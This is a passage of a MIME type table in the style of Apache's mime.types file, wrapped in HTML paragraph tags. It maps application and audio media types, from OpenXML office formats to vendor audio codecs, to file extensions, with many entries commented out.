</p>
<p>
	# application/vnd.openxmlformats-officedocument.extended-properties+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.commentauthors+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.comments+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.handoutmaster+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.notesmaster+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.notesslide+xml
</p>
<p>
	application/vnd.openxmlformats-officedocument.presentationml.presentation	pptx
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.presprops+xml
</p>
<p>
	application/vnd.openxmlformats-officedocument.presentationml.slide	sldx
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.slide+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.slidelayout+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.slidemaster+xml
</p>
<p>
	application/vnd.openxmlformats-officedocument.presentationml.slideshow	ppsx
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.slideshow.main+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.slideupdateinfo+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.tablestyles+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.tags+xml
</p>
<p>
	application/vnd.openxmlformats-officedocument.presentationml.template	potx
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.template.main+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.presentationml.viewprops+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.calcchain+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.chartsheet+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.comments+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.connections+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.dialogsheet+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.externallink+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.pivotcachedefinition+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.pivotcacherecords+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.pivottable+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.querytable+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.revisionheaders+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.revisionlog+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.sharedstrings+xml
</p>
<p>
	application/vnd.openxmlformats-officedocument.spreadsheetml.sheet	xlsx
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.sheetmetadata+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.table+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.tablesinglecells+xml
</p>
<p>
	application/vnd.openxmlformats-officedocument.spreadsheetml.template	xltx
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.template.main+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.usernames+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.volatiledependencies+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.theme+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.themeoverride+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.vmldrawing
</p>
<p>
	# application/vnd.openxmlformats-officedocument.wordprocessingml.comments+xml
</p>
<p>
	application/vnd.openxmlformats-officedocument.wordprocessingml.document	docx
</p>
<p>
	# application/vnd.openxmlformats-officedocument.wordprocessingml.document.glossary+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.wordprocessingml.endnotes+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.wordprocessingml.fonttable+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.wordprocessingml.footer+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.wordprocessingml.footnotes+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.wordprocessingml.numbering+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml
</p>
<p>
	application/vnd.openxmlformats-officedocument.wordprocessingml.template	dotx
</p>
<p>
	# application/vnd.openxmlformats-officedocument.wordprocessingml.template.main+xml
</p>
<p>
	# application/vnd.openxmlformats-officedocument.wordprocessingml.websettings+xml
</p>
<p>
	# application/vnd.openxmlformats-package.core-properties+xml
</p>
<p>
	# application/vnd.openxmlformats-package.digital-signature-xmlsignature+xml
</p>
<p>
	# application/vnd.openxmlformats-package.relationships+xml
</p>
<p>
	# application/vnd.oracle.resource+json
</p>
<p>
	# application/vnd.orange.indata
</p>
<p>
	# application/vnd.osa.netdeploy
</p>
<p>
	application/vnd.osgeo.mapguide.package		mgp
</p>
<p>
	# application/vnd.osgi.bundle
</p>
<p>
	application/vnd.osgi.dp				dp
</p>
<p>
	application/vnd.osgi.subsystem			esa
</p>
<p>
	# application/vnd.otps.ct-kip+xml
</p>
<p>
	# application/vnd.oxli.countgraph
</p>
<p>
	# application/vnd.pagerduty+json
</p>
<p>
	application/vnd.palm				pdb pqa oprc
</p>
<p>
	# application/vnd.panoply
</p>
<p>
	# application/vnd.paos.xml
</p>
<p>
	application/vnd.pawaafile			paw
</p>
<p>
	# application/vnd.pcos
</p>
<p>
	application/vnd.pg.format			str
</p>
<p>
	application/vnd.pg.osasli			ei6
</p>
<p>
	# application/vnd.piaccess.application-licence
</p>
<p>
	application/vnd.picsel				efif
</p>
<p>
	application/vnd.pmi.widget			wg
</p>
<p>
	# application/vnd.poc.group-advertisement+xml
</p>
<p>
	application/vnd.pocketlearn			plf
</p>
<p>
	application/vnd.powerbuilder6			pbd
</p>
<p>
	# application/vnd.powerbuilder6-s
</p>
<p>
	# application/vnd.powerbuilder7
</p>
<p>
	# application/vnd.powerbuilder7-s
</p>
<p>
	# application/vnd.powerbuilder75
</p>
<p>
	# application/vnd.powerbuilder75-s
</p>
<p>
	# application/vnd.preminet
</p>
<p>
	application/vnd.previewsystems.box		box
</p>
<p>
	application/vnd.proteus.magazine		mgz
</p>
<p>
	application/vnd.publishare-delta-tree		qps
</p>
<p>
	application/vnd.pvi.ptid1			ptid
</p>
<p>
	# application/vnd.pwg-multiplexed
</p>
<p>
	# application/vnd.pwg-xhtml-print+xml
</p>
<p>
	# application/vnd.qualcomm.brew-app-res
</p>
<p>
	# application/vnd.quarantainenet
</p>
<p>
	application/vnd.quark.quarkxpress		qxd qxt qwd qwt qxl qxb
</p>
<p>
	# application/vnd.quobject-quoxdocument
</p>
<p>
	# application/vnd.radisys.moml+xml
</p>
<p>
	# application/vnd.radisys.msml+xml
</p>
<p>
	# application/vnd.radisys.msml-audit+xml
</p>
<p>
	# application/vnd.radisys.msml-audit-conf+xml
</p>
<p>
	# application/vnd.radisys.msml-audit-conn+xml
</p>
<p>
	# application/vnd.radisys.msml-audit-dialog+xml
</p>
<p>
	# application/vnd.radisys.msml-audit-stream+xml
</p>
<p>
	# application/vnd.radisys.msml-conf+xml
</p>
<p>
	# application/vnd.radisys.msml-dialog+xml
</p>
<p>
	# application/vnd.radisys.msml-dialog-base+xml
</p>
<p>
	# application/vnd.radisys.msml-dialog-fax-detect+xml
</p>
<p>
	# application/vnd.radisys.msml-dialog-fax-sendrecv+xml
</p>
<p>
	# application/vnd.radisys.msml-dialog-group+xml
</p>
<p>
	# application/vnd.radisys.msml-dialog-speech+xml
</p>
<p>
	# application/vnd.radisys.msml-dialog-transform+xml
</p>
<p>
	# application/vnd.rainstor.data
</p>
<p>
	# application/vnd.rapid
</p>
<p>
	# application/vnd.rar
</p>
<p>
	application/vnd.realvnc.bed			bed
</p>
<p>
	application/vnd.recordare.musicxml		mxl
</p>
<p>
	application/vnd.recordare.musicxml+xml		musicxml
</p>
<p>
	# application/vnd.renlearn.rlprint
</p>
<p>
	application/vnd.rig.cryptonote			cryptonote
</p>
<p>
	application/vnd.rim.cod				cod
</p>
<p>
	application/vnd.rn-realmedia			rm
</p>
<p>
	application/vnd.rn-realmedia-vbr		rmvb
</p>
<p>
	application/vnd.route66.link66+xml		link66
</p>
<p>
	# application/vnd.rs-274x
</p>
<p>
	# application/vnd.ruckus.download
</p>
<p>
	# application/vnd.s3sms
</p>
<p>
	application/vnd.sailingtracker.track		st
</p>
<p>
	# application/vnd.sbm.cid
</p>
<p>
	# application/vnd.sbm.mid2
</p>
<p>
	# application/vnd.scribus
</p>
<p>
	# application/vnd.sealed.3df
</p>
<p>
	# application/vnd.sealed.csf
</p>
<p>
	# application/vnd.sealed.doc
</p>
<p>
	# application/vnd.sealed.eml
</p>
<p>
	# application/vnd.sealed.mht
</p>
<p>
	# application/vnd.sealed.net
</p>
<p>
	# application/vnd.sealed.ppt
</p>
<p>
	# application/vnd.sealed.tiff
</p>
<p>
	# application/vnd.sealed.xls
</p>
<p>
	# application/vnd.sealedmedia.softseal.html
</p>
<p>
	# application/vnd.sealedmedia.softseal.pdf
</p>
<p>
	application/vnd.seemail				see
</p>
<p>
	application/vnd.sema				sema
</p>
<p>
	application/vnd.semd				semd
</p>
<p>
	application/vnd.semf				semf
</p>
<p>
	application/vnd.shana.informed.formdata		ifm
</p>
<p>
	application/vnd.shana.informed.formtemplate	itp
</p>
<p>
	application/vnd.shana.informed.interchange	iif
</p>
<p>
	application/vnd.shana.informed.package		ipk
</p>
<p>
	application/vnd.simtech-mindmapper		twd twds
</p>
<p>
	# application/vnd.siren+json
</p>
<p>
	application/vnd.smaf				mmf
</p>
<p>
	# application/vnd.smart.notebook
</p>
<p>
	application/vnd.smart.teacher			teacher
</p>
<p>
	# application/vnd.software602.filler.form+xml
</p>
<p>
	# application/vnd.software602.filler.form-xml-zip
</p>
<p>
	application/vnd.solent.sdkm+xml			sdkm sdkd
</p>
<p>
	application/vnd.spotfire.dxp			dxp
</p>
<p>
	application/vnd.spotfire.sfs			sfs
</p>
<p>
	# application/vnd.sss-cod
</p>
<p>
	# application/vnd.sss-dtf
</p>
<p>
	# application/vnd.sss-ntf
</p>
<p>
	application/vnd.stardivision.calc		sdc
</p>
<p>
	application/vnd.stardivision.draw		sda
</p>
<p>
	application/vnd.stardivision.impress		sdd
</p>
<p>
	application/vnd.stardivision.math		smf
</p>
<p>
	application/vnd.stardivision.writer		sdw vor
</p>
<p>
	application/vnd.stardivision.writer-global	sgl
</p>
<p>
	application/vnd.stepmania.package		smzip
</p>
<p>
	application/vnd.stepmania.stepchart		sm
</p>
<p>
	# application/vnd.street-stream
</p>
<p>
	# application/vnd.sun.wadl+xml
</p>
<p>
	application/vnd.sun.xml.calc			sxc
</p>
<p>
	application/vnd.sun.xml.calc.template		stc
</p>
<p>
	application/vnd.sun.xml.draw			sxd
</p>
<p>
	application/vnd.sun.xml.draw.template		std
</p>
<p>
	application/vnd.sun.xml.impress			sxi
</p>
<p>
	application/vnd.sun.xml.impress.template	sti
</p>
<p>
	application/vnd.sun.xml.math			sxm
</p>
<p>
	application/vnd.sun.xml.writer			sxw
</p>
<p>
	application/vnd.sun.xml.writer.global		sxg
</p>
<p>
	application/vnd.sun.xml.writer.template		stw
</p>
<p>
	application/vnd.sus-calendar			sus susp
</p>
<p>
	application/vnd.svd				svd
</p>
<p>
	# application/vnd.swiftview-ics
</p>
<p>
	application/vnd.symbian.install			sis sisx
</p>
<p>
	application/vnd.syncml+xml			xsm
</p>
<p>
	application/vnd.syncml.dm+wbxml			bdm
</p>
<p>
	application/vnd.syncml.dm+xml			xdm
</p>
<p>
	# application/vnd.syncml.dm.notification
</p>
<p>
	# application/vnd.syncml.dmddf+wbxml
</p>
<p>
	# application/vnd.syncml.dmddf+xml
</p>
<p>
	# application/vnd.syncml.dmtnds+wbxml
</p>
<p>
	# application/vnd.syncml.dmtnds+xml
</p>
<p>
	# application/vnd.syncml.ds.notification
</p>
<p>
	application/vnd.tao.intent-module-archive	tao
</p>
<p>
	application/vnd.tcpdump.pcap			pcap cap dmp
</p>
<p>
	# application/vnd.tmd.mediaflex.api+xml
</p>
<p>
	# application/vnd.tml
</p>
<p>
	application/vnd.tmobile-livetv			tmo
</p>
<p>
	application/vnd.trid.tpt			tpt
</p>
<p>
	application/vnd.triscape.mxs			mxs
</p>
<p>
	application/vnd.trueapp				tra
</p>
<p>
	# application/vnd.truedoc
</p>
<p>
	# application/vnd.ubisoft.webplayer
</p>
<p>
	application/vnd.ufdl				ufd ufdl
</p>
<p>
	application/vnd.uiq.theme			utz
</p>
<p>
	application/vnd.umajin				umj
</p>
<p>
	application/vnd.unity				unityweb
</p>
<p>
	application/vnd.uoml+xml			uoml
</p>
<p>
	# application/vnd.uplanet.alert
</p>
<p>
	# application/vnd.uplanet.alert-wbxml
</p>
<p>
	# application/vnd.uplanet.bearer-choice
</p>
<p>
	# application/vnd.uplanet.bearer-choice-wbxml
</p>
<p>
	# application/vnd.uplanet.cacheop
</p>
<p>
	# application/vnd.uplanet.cacheop-wbxml
</p>
<p>
	# application/vnd.uplanet.channel
</p>
<p>
	# application/vnd.uplanet.channel-wbxml
</p>
<p>
	# application/vnd.uplanet.list
</p>
<p>
	# application/vnd.uplanet.list-wbxml
</p>
<p>
	# application/vnd.uplanet.listcmd
</p>
<p>
	# application/vnd.uplanet.listcmd-wbxml
</p>
<p>
	# application/vnd.uplanet.signal
</p>
<p>
	# application/vnd.uri-map
</p>
<p>
	# application/vnd.valve.source.material
</p>
<p>
	application/vnd.vcx				vcx
</p>
<p>
	# application/vnd.vd-study
</p>
<p>
	# application/vnd.vectorworks
</p>
<p>
	# application/vnd.vel+json
</p>
<p>
	# application/vnd.verimatrix.vcas
</p>
<p>
	# application/vnd.vidsoft.vidconference
</p>
<p>
	application/vnd.visio				vsd vst vss vsw
</p>
<p>
	application/vnd.visionary			vis
</p>
<p>
	# application/vnd.vividence.scriptfile
</p>
<p>
	application/vnd.vsf				vsf
</p>
<p>
	# application/vnd.wap.sic
</p>
<p>
	# application/vnd.wap.slc
</p>
<p>
	application/vnd.wap.wbxml			wbxml
</p>
<p>
	application/vnd.wap.wmlc			wmlc
</p>
<p>
	application/vnd.wap.wmlscriptc			wmlsc
</p>
<p>
	application/vnd.webturbo			wtb
</p>
<p>
	# application/vnd.wfa.p2p
</p>
<p>
	# application/vnd.wfa.wsc
</p>
<p>
	# application/vnd.windows.devicepairing
</p>
<p>
	# application/vnd.wmc
</p>
<p>
	# application/vnd.wmf.bootstrap
</p>
<p>
	# application/vnd.wolfram.mathematica
</p>
<p>
	# application/vnd.wolfram.mathematica.package
</p>
<p>
	application/vnd.wolfram.player			nbp
</p>
<p>
	application/vnd.wordperfect			wpd
</p>
<p>
	application/vnd.wqd				wqd
</p>
<p>
	# application/vnd.wrq-hp3000-labelled
</p>
<p>
	application/vnd.wt.stf				stf
</p>
<p>
	# application/vnd.wv.csp+wbxml
</p>
<p>
	# application/vnd.wv.csp+xml
</p>
<p>
	# application/vnd.wv.ssp+xml
</p>
<p>
	# application/vnd.xacml+json
</p>
<p>
	application/vnd.xara				xar
</p>
<p>
	application/vnd.xfdl				xfdl
</p>
<p>
	# application/vnd.xfdl.webform
</p>
<p>
	# application/vnd.xmi+xml
</p>
<p>
	# application/vnd.xmpie.cpkg
</p>
<p>
	# application/vnd.xmpie.dpkg
</p>
<p>
	# application/vnd.xmpie.plan
</p>
<p>
	# application/vnd.xmpie.ppkg
</p>
<p>
	# application/vnd.xmpie.xlim
</p>
<p>
	application/vnd.yamaha.hv-dic			hvd
</p>
<p>
	application/vnd.yamaha.hv-script		hvs
</p>
<p>
	application/vnd.yamaha.hv-voice			hvp
</p>
<p>
	application/vnd.yamaha.openscoreformat			osf
</p>
<p>
	application/vnd.yamaha.openscoreformat.osfpvg+xml	osfpvg
</p>
<p>
	# application/vnd.yamaha.remote-setup
</p>
<p>
	application/vnd.yamaha.smaf-audio		saf
</p>
<p>
	application/vnd.yamaha.smaf-phrase		spf
</p>
<p>
	# application/vnd.yamaha.through-ngn
</p>
<p>
	# application/vnd.yamaha.tunnel-udpencap
</p>
<p>
	# application/vnd.yaoweme
</p>
<p>
	application/vnd.yellowriver-custom-menu		cmp
</p>
<p>
	application/vnd.zul				zir zirz
</p>
<p>
	application/vnd.zzazz.deck+xml			zaz
</p>
<p>
	application/voicexml+xml			vxml
</p>
<p>
	# application/vq-rtcpxr
</p>
<p>
	# application/watcherinfo+xml
</p>
<p>
	# application/whoispp-query
</p>
<p>
	# application/whoispp-response
</p>
<p>
	application/widget				wgt
</p>
<p>
	application/winhlp				hlp
</p>
<p>
	# application/wita
</p>
<p>
	# application/wordperfect5.1
</p>
<p>
	application/wsdl+xml				wsdl
</p>
<p>
	application/wspolicy+xml			wspolicy
</p>
<p>
	application/x-7z-compressed			7z
</p>
<p>
	application/x-abiword				abw
</p>
<p>
	application/x-ace-compressed			ace
</p>
<p>
	# application/x-amf
</p>
<p>
	application/x-apple-diskimage			dmg
</p>
<p>
	application/x-authorware-bin			aab x32 u32 vox
</p>
<p>
	application/x-authorware-map			aam
</p>
<p>
	application/x-authorware-seg			aas
</p>
<p>
	application/x-bcpio				bcpio
</p>
<p>
	application/x-bittorrent			torrent
</p>
<p>
	application/x-blorb				blb blorb
</p>
<p>
	application/x-bzip				bz
</p>
<p>
	application/x-bzip2				bz2 boz
</p>
<p>
	application/x-cbr				cbr cba cbt cbz cb7
</p>
<p>
	application/x-cdlink				vcd
</p>
<p>
	application/x-cfs-compressed			cfs
</p>
<p>
	application/x-chat				chat
</p>
<p>
	application/x-chess-pgn				pgn
</p>
<p>
	# application/x-compress
</p>
<p>
	application/x-conference			nsc
</p>
<p>
	application/x-cpio				cpio
</p>
<p>
	application/x-csh				csh
</p>
<p>
	application/x-debian-package			deb udeb
</p>
<p>
	application/x-dgc-compressed			dgc
</p>
<p>
	application/x-director			dir dcr dxr cst cct cxt w3d fgd swa
</p>
<p>
	application/x-doom				wad
</p>
<p>
	application/x-dtbncx+xml			ncx
</p>
<p>
	application/x-dtbook+xml			dtb
</p>
<p>
	application/x-dtbresource+xml			res
</p>
<p>
	application/x-dvi				dvi
</p>
<p>
	application/x-envoy				evy
</p>
<p>
	application/x-eva				eva
</p>
<p>
	application/x-font-bdf				bdf
</p>
<p>
	# application/x-font-dos
</p>
<p>
	# application/x-font-framemaker
</p>
<p>
	application/x-font-ghostscript			gsf
</p>
<p>
	# application/x-font-libgrx
</p>
<p>
	application/x-font-linux-psf			psf
</p>
<p>
	application/x-font-pcf				pcf
</p>
<p>
	application/x-font-snf				snf
</p>
<p>
	# application/x-font-speedo
</p>
<p>
	# application/x-font-sunos-news
</p>
<p>
	application/x-font-type1			pfa pfb pfm afm
</p>
<p>
	# application/x-font-vfont
</p>
<p>
	application/x-freearc				arc
</p>
<p>
	application/x-futuresplash			spl
</p>
<p>
	application/x-gca-compressed			gca
</p>
<p>
	application/x-glulx				ulx
</p>
<p>
	application/x-gnumeric				gnumeric
</p>
<p>
	application/x-gramps-xml			gramps
</p>
<p>
	application/x-gtar				gtar
</p>
<p>
	# application/x-gzip
</p>
<p>
	application/x-hdf				hdf
</p>
<p>
	application/x-install-instructions		install
</p>
<p>
	application/x-iso9660-image			iso
</p>
<p>
	application/x-java-jnlp-file			jnlp
</p>
<p>
	application/x-latex				latex
</p>
<p>
	application/x-lzh-compressed			lzh lha
</p>
<p>
	application/x-mie				mie
</p>
<p>
	application/x-mobipocket-ebook			prc mobi
</p>
<p>
	application/x-ms-application			application
</p>
<p>
	application/x-ms-shortcut			lnk
</p>
<p>
	application/x-ms-wmd				wmd
</p>
<p>
	application/x-ms-wmz				wmz
</p>
<p>
	application/x-ms-xbap				xbap
</p>
<p>
	application/x-msaccess				mdb
</p>
<p>
	application/x-msbinder				obd
</p>
<p>
	application/x-mscardfile			crd
</p>
<p>
	application/x-msclip				clp
</p>
<p>
	application/x-msdownload			exe dll com bat msi
</p>
<p>
	application/x-msmediaview			mvb m13 m14
</p>
<p>
	application/x-msmetafile			wmf wmz emf emz
</p>
<p>
	application/x-msmoney				mny
</p>
<p>
	application/x-mspublisher			pub
</p>
<p>
	application/x-msschedule			scd
</p>
<p>
	application/x-msterminal			trm
</p>
<p>
	application/x-mswrite				wri
</p>
<p>
	application/x-netcdf				nc cdf
</p>
<p>
	application/x-nzb				nzb
</p>
<p>
	application/x-pkcs12				p12 pfx
</p>
<p>
	application/x-pkcs7-certificates		p7b spc
</p>
<p>
	application/x-pkcs7-certreqresp			p7r
</p>
<p>
	application/x-rar-compressed			rar
</p>
<p>
	application/x-research-info-systems		ris
</p>
<p>
	application/x-sh				sh
</p>
<p>
	application/x-shar				shar
</p>
<p>
	application/x-shockwave-flash			swf
</p>
<p>
	application/x-silverlight-app			xap
</p>
<p>
	application/x-sql				sql
</p>
<p>
	application/x-stuffit				sit
</p>
<p>
	application/x-stuffitx				sitx
</p>
<p>
	application/x-subrip				srt
</p>
<p>
	application/x-sv4cpio				sv4cpio
</p>
<p>
	application/x-sv4crc				sv4crc
</p>
<p>
	application/x-t3vm-image			t3
</p>
<p>
	application/x-tads				gam
</p>
<p>
	application/x-tar				tar
</p>
<p>
	application/x-tcl				tcl
</p>
<p>
	application/x-tex				tex
</p>
<p>
	application/x-tex-tfm				tfm
</p>
<p>
	application/x-texinfo				texinfo texi
</p>
<p>
	application/x-tgif				obj
</p>
<p>
	application/x-ustar				ustar
</p>
<p>
	application/x-wais-source			src
</p>
<p>
	# application/x-www-form-urlencoded
</p>
<p>
	application/x-x509-ca-cert			der crt
</p>
<p>
	application/x-xfig				fig
</p>
<p>
	application/x-xliff+xml				xlf
</p>
<p>
	application/x-xpinstall				xpi
</p>
<p>
	application/x-xz				xz
</p>
<p>
	application/x-zmachine				z1 z2 z3 z4 z5 z6 z7 z8
</p>
<p>
	# application/x400-bp
</p>
<p>
	# application/xacml+xml
</p>
<p>
	application/xaml+xml				xaml
</p>
<p>
	# application/xcap-att+xml
</p>
<p>
	# application/xcap-caps+xml
</p>
<p>
	application/xcap-diff+xml			xdf
</p>
<p>
	# application/xcap-el+xml
</p>
<p>
	# application/xcap-error+xml
</p>
<p>
	# application/xcap-ns+xml
</p>
<p>
	# application/xcon-conference-info+xml
</p>
<p>
	# application/xcon-conference-info-diff+xml
</p>
<p>
	application/xenc+xml				xenc
</p>
<p>
	application/xhtml+xml				xhtml xht
</p>
<p>
	# application/xhtml-voice+xml
</p>
<p>
	application/xml					xml xsl
</p>
<p>
	application/xml-dtd				dtd
</p>
<p>
	# application/xml-external-parsed-entity
</p>
<p>
	# application/xml-patch+xml
</p>
<p>
	# application/xmpp+xml
</p>
<p>
	application/xop+xml				xop
</p>
<p>
	application/xproc+xml				xpl
</p>
<p>
	application/xslt+xml				xslt
</p>
<p>
	application/xspf+xml				xspf
</p>
<p>
	application/xv+xml				mxml xhvml xvml xvm
</p>
<p>
	application/yang				yang
</p>
<p>
	application/yin+xml				yin
</p>
<p>
	application/zip					zip
</p>
<p>
	# application/zlib
</p>
<p>
	# audio/1d-interleaved-parityfec
</p>
<p>
	# audio/32kadpcm
</p>
<p>
	# audio/3gpp
</p>
<p>
	# audio/3gpp2
</p>
<p>
	# audio/ac3
</p>
<p>
	audio/adpcm					adp
</p>
<p>
	# audio/amr
</p>
<p>
	# audio/amr-wb
</p>
<p>
	# audio/amr-wb+
</p>
<p>
	# audio/aptx
</p>
<p>
	# audio/asc
</p>
<p>
	# audio/atrac-advanced-lossless
</p>
<p>
	# audio/atrac-x
</p>
<p>
	# audio/atrac3
</p>
<p>
	audio/basic					au snd
</p>
<p>
	# audio/bv16
</p>
<p>
	# audio/bv32
</p>
<p>
	# audio/clearmode
</p>
<p>
	# audio/cn
</p>
<p>
	# audio/dat12
</p>
<p>
	# audio/dls
</p>
<p>
	# audio/dsr-es201108
</p>
<p>
	# audio/dsr-es202050
</p>
<p>
	# audio/dsr-es202211
</p>
<p>
	# audio/dsr-es202212
</p>
<p>
	# audio/dv
</p>
<p>
	# audio/dvi4
</p>
<p>
	# audio/eac3
</p>
<p>
	# audio/encaprtp
</p>
<p>
	# audio/evrc
</p>
<p>
	# audio/evrc-qcp
</p>
<p>
	# audio/evrc0
</p>
<p>
	# audio/evrc1
</p>
<p>
	# audio/evrcb
</p>
<p>
	# audio/evrcb0
</p>
<p>
	# audio/evrcb1
</p>
<p>
	# audio/evrcnw
</p>
<p>
	# audio/evrcnw0
</p>
<p>
	# audio/evrcnw1
</p>
<p>
	# audio/evrcwb
</p>
<p>
	# audio/evrcwb0
</p>
<p>
	# audio/evrcwb1
</p>
<p>
	# audio/evs
</p>
<p>
	# audio/example
</p>
<p>
	# audio/fwdred
</p>
<p>
	# audio/g711-0
</p>
<p>
	# audio/g719
</p>
<p>
	# audio/g722
</p>
<p>
	# audio/g7221
</p>
<p>
	# audio/g723
</p>
<p>
	# audio/g726-16
</p>
<p>
	# audio/g726-24
</p>
<p>
	# audio/g726-32
</p>
<p>
	# audio/g726-40
</p>
<p>
	# audio/g728
</p>
<p>
	# audio/g729
</p>
<p>
	# audio/g7291
</p>
<p>
	# audio/g729d
</p>
<p>
	# audio/g729e
</p>
<p>
	# audio/gsm
</p>
<p>
	# audio/gsm-efr
</p>
<p>
	# audio/gsm-hr-08
</p>
<p>
	# audio/ilbc
</p>
<p>
	# audio/ip-mr_v2.5
</p>
<p>
	# audio/isac
</p>
<p>
	# audio/l16
</p>
<p>
	# audio/l20
</p>
<p>
	# audio/l24
</p>
<p>
	# audio/l8
</p>
<p>
	# audio/lpc
</p>
<p>
	audio/midi					mid midi kar rmi
</p>
<p>
	# audio/mobile-xmf
</p>
<p>
	audio/mp4					m4a mp4a
</p>
<p>
	# audio/mp4a-latm
</p>
<p>
	# audio/mpa
</p>
<p>
	# audio/mpa-robust
</p>
<p>
	audio/mpeg					mpga mp2 mp2a mp3 m2a m3a
</p>
<p>
	# audio/mpeg4-generic
</p>
<p>
	# audio/musepack
</p>
<p>
	audio/ogg					oga ogg spx
</p>
<p>
	# audio/opus
</p>
<p>
	# audio/parityfec
</p>
<p>
	# audio/pcma
</p>
<p>
	# audio/pcma-wb
</p>
<p>
	# audio/pcmu
</p>
<p>
	# audio/pcmu-wb
</p>
<p>
	# audio/prs.sid
</p>
<p>
	# audio/qcelp
</p>
<p>
	# audio/raptorfec
</p>
<p>
	# audio/red
</p>
<p>
	# audio/rtp-enc-aescm128
</p>
<p>
	# audio/rtp-midi
</p>
<p>
	# audio/rtploopback
</p>
<p>
	# audio/rtx
</p>
<p>
	audio/s3m					s3m
</p>
<p>
	audio/silk					sil
</p>
<p>
	# audio/smv
</p>
<p>
	# audio/smv-qcp
</p>
<p>
	# audio/smv0
</p>
<p>
	# audio/sp-midi
</p>
<p>
	# audio/speex
</p>
<p>
	# audio/t140c
</p>
<p>
	# audio/t38
</p>
<p>
	# audio/telephone-event
</p>
<p>
	# audio/tone
</p>
<p>
	# audio/uemclip
</p>
<p>
	# audio/ulpfec
</p>
<p>
	# audio/vdvi
</p>
<p>
	# audio/vmr-wb
</p>
<p>
	# audio/vnd.3gpp.iufp
</p>
<p>
	# audio/vnd.4sb
</p>
<p>
	# audio/vnd.audiokoz
</p>
<p>
	# audio/vnd.celp
</p>
<p>
	# audio/vnd.cisco.nse
</p>
<p>
	# audio/vnd.cmles.radio-events
</p>
<p>
	# audio/vnd.cns.anp1
</p>
<p>
	# audio/vnd.cns.inf1
</p>
<p>
	audio/vnd.dece.audio				uva uvva
</p>
<p>
	audio/vnd.digital-winds				eol
</p>
<p>
	# audio/vnd.dlna.adts
</p>
<p>
	# audio/vnd.dolby.heaac.1
</p>
<p>
	# audio/vnd.dolby.heaac.2
</p>
<p>
	# audio/vnd.dolby.mlp
</p>
<p>
	# audio/vnd.dolby.mps
</p>
<p>
	# audio/vnd.dolby.pl2
</p>
<p>
	# audio/vnd.dolby.pl2x
</p>
<p>
	# audio/vnd.dolby.pl2z
</p>
<p>
	# audio/vnd.dolby.pulse.1
</p>
<p>
	audio/vnd.dra					dra
</p>
<p>
	audio/vnd.dts					dts
</p>
<p>
	audio/vnd.dts.hd				dtshd
</p>
<p>
	# audio/vnd.dvb.file
</p>
<p>
	# audio/vnd.everad.plj
</p>
<p>
	# audio/vnd.hns.audio
</p>
<p>
	audio/vnd.lucent.voice				lvp
</p>
<p>
	audio/vnd.ms-playready.media.pya		pya
</p>
<p>
	# audio/vnd.nokia.mobile-xmf
</p>
<p>
	# audio/vnd.nortel.vbk
</p>
<p>
	audio/vnd.nuera.ecelp4800			ecelp4800
</p>
<p>
	audio/vnd.nuera.ecelp7470			ecelp7470
</p>
<p>
	audio/vnd.nuera.ecelp9600			ecelp9600
</p>
<p>
	# audio/vnd.octel.sbc
</p>
<p>
	# audio/vnd.qcelp
</p>
<p>
	# audio/vnd.rhetorex.32kadpcm
</p>
<p>
	audio/vnd.rip					rip
</p>
<p>
	# audio/vnd.sealedmedia.softseal.mpeg
</p>
<p>
